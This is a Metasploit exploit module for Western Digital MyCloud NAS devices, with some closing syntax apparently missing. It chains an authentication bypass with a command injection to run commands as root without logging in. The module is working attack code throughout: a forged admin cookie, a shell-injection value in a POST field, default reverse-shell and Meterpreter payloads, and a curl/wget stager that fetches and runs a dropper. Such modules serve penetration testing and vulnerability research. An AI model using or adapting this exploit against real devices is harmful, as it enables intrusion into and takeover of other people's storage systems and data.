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Western Digital MyCloud Unauthenticated Command Injection
# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
        'Name' => 'Western Digital MyCloud unauthenticated command injection',
        'Description' => %q{
          This module exploits authentication bypass (CVE-2018-17153) and
          command injection (CVE-2016-10108) vulnerabilities in Western
          Digital MyCloud before 2.30.196 in order to achieve
          unauthenticated remote code execution as the root user.

          The module first performs a check to see if the target is
          WD MyCloud. If so, it attempts to trigger an authentication
          bypass (CVE-2018-17153) via a crafted GET request to
          /cgi-bin/network_mgr.cgi. If the server responds as expected,
          the module assesses the vulnerability status by attempting to
          exploit a commend injection vulnerability (CVE-2016-10108) in
          order to print a random string via the echo command. This is
          done via a crafted POST request to /web/google_analytics.php.

          If the server is vulnerable, the same command injection vector
          is leveraged to execute the payload.

          This module has been successfully tested against Western Digital
          MyCloud version 2.30.183.

          Note: based on the available disclosures, it seems that the
          command injection vector (CVE-2016-10108) might be exploitable
          without the authentication bypass (CVE-2018-17153) on versions
          before 2.21.126. The obtained results on 2.30.183 imply that
          the patch for CVE-2016-10108 did not actually remove the command
          injection vector, but only prevented unauthenticated access to it.
        'License' => MSF_LICENSE,
        'Author' => [
          'Erik Wynter', # @wyntererik - Metasploit
          'Steven Campbell', # CVE-2016-10108 disclosure and PoC
          'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC
        'References' => [
          ['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data.
          ['CVE', '2018-17153'], # authentication bypass
          ['URL', ''], # CVE-2018-17153 disclosure and PoC
          ['URL', ''] # CVE-2016-10108 disclosure and PoC
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        'Platform' => %w[linux unix],
        'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
        'Targets' => [
            'Unix In-Memory',
              'Platform' => [ 'unix', 'linux' ],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
              'Type' => :unix_memory
            'Linux Dropper', {
              'Arch' => [ARCH_ARMLE],
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => :curl
              'Type' => :linux_dropper
        'CmdStagerFlavor' => ['curl', 'wget'],
        'Privileged' => true,
        'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]

    register_options(['TARGETURI', [true, 'The base path to WD MyCloud', '/']),

  def check
    # sanity check to see if the target is likely WD MyCloud
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)

    return CheckCode::Unknown('Connection failed.') unless res

    return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud')

    print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...")
    # try the authentication bypass (CVE-2018-17153)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),
      'vars_get' => {
        'cmd' => 'cgi_get_ipv6',
        'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details

    return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res

    return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404

    # send a command to print a random string via echo. if the target is vulnerable, both the command  and the command output will be part of the response body
    echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}"
    print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...")
    res = execute_command(echo_cmd, { 'wait_for_response' => true })

    return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res

    return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('"success":true')

    CheckCode::Safe('The target failed to execute the echo command.')

  def execute_command(cmd, opts = {})
    request_hash = {
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'),
      'cookie' => 'username=admin',
      'vars_post' => {
        'cmd' => 'set',
        'opt' => 'cloud-device-num',
        'arg' => "0|echo `#{cmd}` #"

    return send_request_cgi(request_hash) if opts['wait_for_response']

    # if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response
    send_request_cgi(request_hash, 0)

  def exploit
    if target.arch.first == ARCH_CMD
      print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...")
      execute_cmdstager(background: true)

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